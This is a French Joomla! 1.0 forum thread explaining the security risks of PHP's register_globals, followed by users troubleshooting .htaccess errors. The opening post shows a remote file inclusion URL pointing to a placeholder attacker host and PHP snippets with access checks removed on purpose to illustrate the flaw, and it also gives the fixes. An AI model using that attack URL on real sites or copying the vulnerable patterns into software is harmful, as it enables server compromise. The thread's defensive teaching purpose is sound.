Les registres globaux

Informations concernant la sécurité de son site Joomla! 1.0.x

Moderators: Aidan38, sarki

Forum rules
Règles du forum
Post Reply
User avatar
ouly
Joomla! Ace
Joomla! Ace
Posts: 1074
Joined: Sun Aug 21, 2005 9:18 pm
Contact:

Les registres globaux

Post by ouly » Thu Sep 21, 2006 7:55 pm

Introduction

Lorsque l'on charge une page PHP, le serveur fourni au script plusieurs variables pré-définies dont certaines ($_GET, $_POST, etc.) contiennent les données transmises par le visiteur.

Exemple :
Lorsqu'un navigateur demande une page à un serveur, il envoie une requête
* :

Code: Select all

GET /index.php?option=com_frontpage
Le serveur ajoute alors à la variable $_GET (de type tableau), une entrée : option => com_frontpage
Dans le script PHP, cette entrée est ensuite accessible avec : $_GET['option']


Lorsque la directive register_globals est activée, PHP copie ces variables pré-définies dans de simples variables.

Exemple :
En prenant la base de l'exemple précédent, pour l'entrée $_GET['option'] PHP va créer une variable $option contenant également com_frontpage


Où est le problème ?

Cette directive n'est pas en elle-même un problème, mais elle est une source potentielle de failles de sécurité.

Exemple :
Prenons par exemple le code du composant
/components/com_frontpage/frontpage.php dans lequel nous enlevons (en commentant) la protection contre les accès directs :

Code: Select all

<?php
/**
* @version $Id: frontpage.php 85 2005-09-15 23:12:03Z eddieajau $
* @package Joomla
* @subpackage Content
* @copyright Copyright (C) 2005 Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// no direct access
// defined( '_VALID_MOS' ) or die( 'Restricted access' ); // Code commenté pour l'exemple

// code handling has been shifted into content.php
require_once( $mosConfig_absolute_path .'/components/com_content/content.php' );
?>
Si les registres globaux sont activés, il est possible d'appeler le script de la manière suivante :
http://[le_site_victime]/components/com_frontpage/frontpage.php?mosConfig_absolute_path=http://[le_site_du_cracker]/script.txt?

Si la directive allow_url_fopen est activée (ce qui est le cas généralement), le script inclu sera :

http://[le_site_du_cracker]/script.txt?/components/com_content/content.php
et vous serez victime d'une attaque par inclusion de fichier distant (= remote file inclusion).

Dans le cas de l'exemple précédent, l'ajout du code suivant permet de sécuriser le composant :

Code: Select all

<?php defined( '_VALID_MOS' ) or die( 'Restricted access' ); ?>
mais cet exemple est relativement simple et les failles de sécurité ne sautent pas forcément aux yeux du premier coup d'oeil.

Exemple :

Code: Select all

<?php
// Pas d'accès direct
defined( '_VALID_MOS' ) or die( 'Restricted access' );

// Traitement de la tâche demandée
switch ( $task )
	{
		case 'afficher_article':
			$fichier = $mosConfig_absolute_path . '/components/com_exemple/fonction_afficher.php';
			break;
		case 'editer_article':
			if ( $my->gid < 2 )
				mosNotAuth();
			$fichier = $mosConfig_absolute_path . '/components/com_exemple/fonction_editer.php';
			break;
		case 'nouvel_article':
			if ( $my->gid < 2 )
				mosNotAuth();
			$fichier = $mosConfig_absolute_path . '/components/com_exemple/fonction_nouveau.php';
			break;
	}

// Chargement du script de traitement
include( $fichier );
?>
Toute variable non initialisée ou dont la provenance des données n'est pas contrôlée peut être une faille de sécurité.

Comment changer la valeur de cette directive ?

Le plus simple est de demander à votre hébergeur d'effectuer le changement sur votre serveur.
S'il ne s'agit pas d'un serveur dédié, il est probable qu'il refuse. Vous pouvez alors placer un fichier .htaccess à la racine de votre site contenant :

Code: Select all

php_flag register_globals off
pour désactiver la directive ou au contraire :

Code: Select all

php_flag register_globals on
pour l'activer.

Emulation de la directive register_globals

Joomla! a introduit une interface permettant d'émuler la directive register_globals. Cette option est limitée par le fait que seuls les scripts PHP derrière cette interface sont affectés (donc les scripts indépendants ou accédés directement ne sont pas affectés).

Depuis la version 1.0.13 de Joomla!, l'activation/désactivation de l'émulation de cette directive se modifie depuis l'administration. Dans la page Site | Configuration du Site, onglet Serveur, option Emulation du paramètre Register Globals.

Avant Joomla! 1.0.13 :
La configuration de l'option RG_EMULATION (option de Joomla! donc) s'effectue dans le fichier /globals.php, ligne 24 :

Code: Select all

<?php define( 'RG_EMULATION', 1 ); ?>
Pour émuler la directive register_globals activée, il suffit d'affecter la valeur 1 à la constante RG_EMULATION. Au contraire, pour émuler la directive register_globals désactivée, il suffit d'affecter la valeur 0 à la constante RG_EMULATION.
Important :
Dans l'environnement Joomla! (tout ce qui est exécuté au travers de Joomla!), les registres globaux sont définis par cette option uniquement et la configuration de la directive register_globals de PHP est sans effet après l'interface RG_EMULATION fournie par Joomla!.


Activer ou désactiver ?

Il est conseillé de désactiver la directive register_globals ainsi que l'option Joomla! RG_EMULATION pour réduire les failles de sécurité potentielles. Cela n'est malheureusement pas toujours possible, certaines extensions nécessitant l'activation de cette option (et peut-être aussi de la directive PHP pour les extensions utilisant certains scripts directement sans passer par Joomla!).

Avant de changer la configuration, vérifiez que les extensions installées sur votre site ne sont pas listées sur cette page (la liste n'est évidemment pas complète) :
http://forum.joomla.org/index.php/topic,86525.0.html
ou si possible appliquer le(s) correctif(s) indiqué(s) pour rendre vos extensions indépendantes des registres globaux.

Notes

* La requête est incomplète mais la suite ne nous intéresse pas ici.
Voir pour plus de détails : http://www.w3.org/Protocols/rfc2616/rfc2616.html (anglais)

Références

http://dev.joomla.org/index.php?option= ... ake_secure (anglais)
http://www.php.net/manual/fr/ini.core.p ... er-globals (français)
http://www.php.net/manual/fr/security.globals.php (français)
Last edited by ouly on Sun Mar 30, 2008 4:51 pm, edited 2 times in total.
Reason: Adaptation pour phpBB et MàJ pour J! >= 1.0.13

User avatar
dec
Joomla! Guru
Joomla! Guru
Posts: 502
Joined: Mon Apr 03, 2006 2:06 pm

Re: Les registres globaux

Post by dec » Fri Nov 10, 2006 5:10 pm

Salut Ouly,
Est-ce que placer le

Code: Select all

php_flag register_globals off
directement ds un .htaccess d'un sef quelconque est correct ?

User avatar
ouly
Joomla! Ace
Joomla! Ace
Posts: 1074
Joined: Sun Aug 21, 2005 9:18 pm
Contact:

Re: Les registres globaux

Post by ouly » Fri Nov 10, 2006 10:02 pm

Oui  ;)

User avatar
syan
Joomla! Explorer
Joomla! Explorer
Posts: 417
Joined: Fri Dec 23, 2005 10:48 am
Location: Paris / Oléron (F)
Contact:

Re: Les registres globaux

Post by syan » Sat Nov 11, 2006 8:15 am

Merci Ouly pour cette superbe contribution.
Yann Sallou
WebAgency | http://www.utopiart.com

User avatar
ouly
Joomla! Ace
Joomla! Ace
Posts: 1074
Joined: Sun Aug 21, 2005 9:18 pm
Contact:

Re: Les registres globaux

Post by ouly » Sat Nov 11, 2006 9:43 am

@syan : pour ma réponse ou pour le sujet ?  :D :D :D

User avatar
syan
Joomla! Explorer
Joomla! Explorer
Posts: 417
Joined: Fri Dec 23, 2005 10:48 am
Location: Paris / Oléron (F)
Contact:

Re: Les registres globaux

Post by syan » Sat Nov 11, 2006 9:58 am

;D :laugh: ... le sujet bien sûr
Yann Sallou
WebAgency | http://www.utopiart.com

User avatar
dec
Joomla! Guru
Joomla! Guru
Posts: 502
Joined: Mon Apr 03, 2006 2:06 pm

Re: Les registres globaux

Post by dec » Mon Nov 13, 2006 12:15 pm

C'est étrange, j'ai l'impression de passer pour un ignare  ;D

member
Joomla! Enthusiast
Joomla! Enthusiast
Posts: 104
Joined: Sun Jan 07, 2007 12:04 am

Paramètre PHP register_globals est sur `ON` au lieu de `OFF`

Post by member » Sat Jan 20, 2007 1:49 pm

slaut
le probleme
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Les paramètres PHP Serveur suivants ne sont pas optimum pour la Sécurité de votre site, il vous est recommandé de les modifier:

    * Paramètre PHP register_globals est sur `ON` au lieu de `OFF`
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
jai hébergé chez  http://www.1and1.fr

comment le faire

jai virifer le ficher htaccess.txt et jai trouver que
----------------------------------------------------------------------------------------
php_flag register_globals off
##  Can be commented out if causes errors, see notes above.
Options +FollowSymLinks

#
#  mod_rewrite in use
php_flag register_globals off
RewriteEngine On
-----------------------------------------------------------------------------------------------
mai le mesage d'alert reste:
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Les paramètres PHP Serveur suivants ne sont pas optimum pour la Sécurité de votre site, il vous est recommandé de les modifier:

    * Paramètre PHP register_globals est sur `ON` au lieu de `OFF`
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

User avatar
ouly
Joomla! Ace
Joomla! Ace
Posts: 1074
Joined: Sun Aug 21, 2005 9:18 pm
Contact:

Re: Paramètre PHP register_globals est sur `ON` au lieu de `OFF`

Post by ouly » Sat Jan 20, 2007 2:45 pm

Bonjour member,
Merci de ne pas poster plusieurs fois la même question sur le forum.

Le fichier htaccess.txt doit être renommé en .htaccess pour qu'il soit reconnu par Apache.

Ouly

member
Joomla! Enthusiast
Joomla! Enthusiast
Posts: 104
Joined: Sun Jan 07, 2007 12:04 am

Re: Les registres globaux

Post by member » Sat Jan 20, 2007 3:00 pm

je suis desoler mai ce probleme jai 1 moi avec lui

il faut que je crier un neveux ficher nomer .htaccsse ou modifier loriginal de joomla

et merci 1000 foit

member
Joomla! Enthusiast
Joomla! Enthusiast
Posts: 104
Joined: Sun Jan 07, 2007 12:04 am

Re: Les registres globaux

Post by member » Sat Jan 20, 2007 3:06 pm

ci moi encore jai renemer le fichier htaccess.txt par .htaccess il ma fait ca

ERREUR SERVEUR INTERNE

Un problème inattendu est survenu.
Veuillez réessayer ultérieurement.

jai reie un autre fichier nomer .htaccess

le meme probleme
ERREUR SERVEUR INTERNE

Un problème inattendu est survenu.
Veuillez réessayer ultérieurement.

User avatar
ouly
Joomla! Ace
Joomla! Ace
Posts: 1074
Joined: Sun Aug 21, 2005 9:18 pm
Contact:

Re: Les registres globaux

Post by ouly » Sat Jan 20, 2007 3:29 pm

Le problème est que le fichier .htaccess utilisé contient des directives concernant la réécriture d'URL pour les fonctionnalités SEF.

Généralement c'est la directive Options qui cause problème car l'hébergeur a bloqué la possibilité de la modifier. Il suffit probablement de commenter la ligne :

Code: Select all

Options +FollowSymLinks
pour que le serveur accepte le fichier .htaccess.

member
Joomla! Enthusiast
Joomla! Enthusiast
Posts: 104
Joined: Sun Jan 07, 2007 12:04 am

Re: Les registres globaux

Post by member » Sat Jan 20, 2007 3:46 pm

merci uoly merci 1000 foit

pour ce problem jai envoier un message ou heberger

jai heberger chez  *1and1* lunix

mai avec ce joomla je suis null
je suis nauveux il me faut etape par etape pour que le regler

et merci encore

member
Joomla! Enthusiast
Joomla! Enthusiast
Posts: 104
Joined: Sun Jan 07, 2007 12:04 am

Re: Les registres globaux

Post by member » Sat Jan 20, 2007 3:49 pm

ouly wrote: Le problème est que le fichier .htaccess utilisé contient des directives concernant la réécriture d'URL pour les fonctionnalités SEF.

Généralement c'est la directive Options qui cause problème car l'hébergeur a bloqué la possibilité de la modifier. Il suffit probablement de commenter la ligne :

Code: Select all

Options +FollowSymLinks
pour que le serveur accepte le fichier .htaccess.
comment commenter cette lingne
le probleme precier
je peut pas modifer
ni htaccess
ni activer le cache
est ce que il ya une solution s.v.p

merci
Last edited by member on Tue Feb 27, 2007 12:17 pm, edited 1 time in total.

lpcvb
Joomla! Fledgling
Joomla! Fledgling
Posts: 2
Joined: Sun Nov 11, 2007 9:07 pm

Re: Les registres globaux

Post by lpcvb » Sun Nov 11, 2007 9:14 pm

Bonjour, j'ai le même problème que les précédents.

J'ai suivi la procédure (ajout du fichier .htaccess; commenter la ligne option +FollowSymLinks) mais quand je veux accéder au site, il me met une page d'erreur "Internal Server Error".

Je joins le fichier htaccess.txt

Merci pour l'aide

Lpcvb
You do not have the required permissions to view the files attached to this post.

User avatar
dec
Joomla! Guru
Joomla! Guru
Posts: 502
Joined: Mon Apr 03, 2006 2:06 pm

Re: Les registres globaux

Post by dec » Mon Nov 12, 2007 8:22 am

Essaye avec une seule #.

lpcvb
Joomla! Fledgling
Joomla! Fledgling
Posts: 2
Joined: Sun Nov 11, 2007 9:07 pm

Re: Les registres globaux

Post by lpcvb » Mon Nov 12, 2007 9:48 am

J'ai déjà essayé avec un seul # et cela n'avait pas fonctionné non plus.

Merci pour votre aide

lpcvb


Post Reply

Return to “1.0 - Sécurité”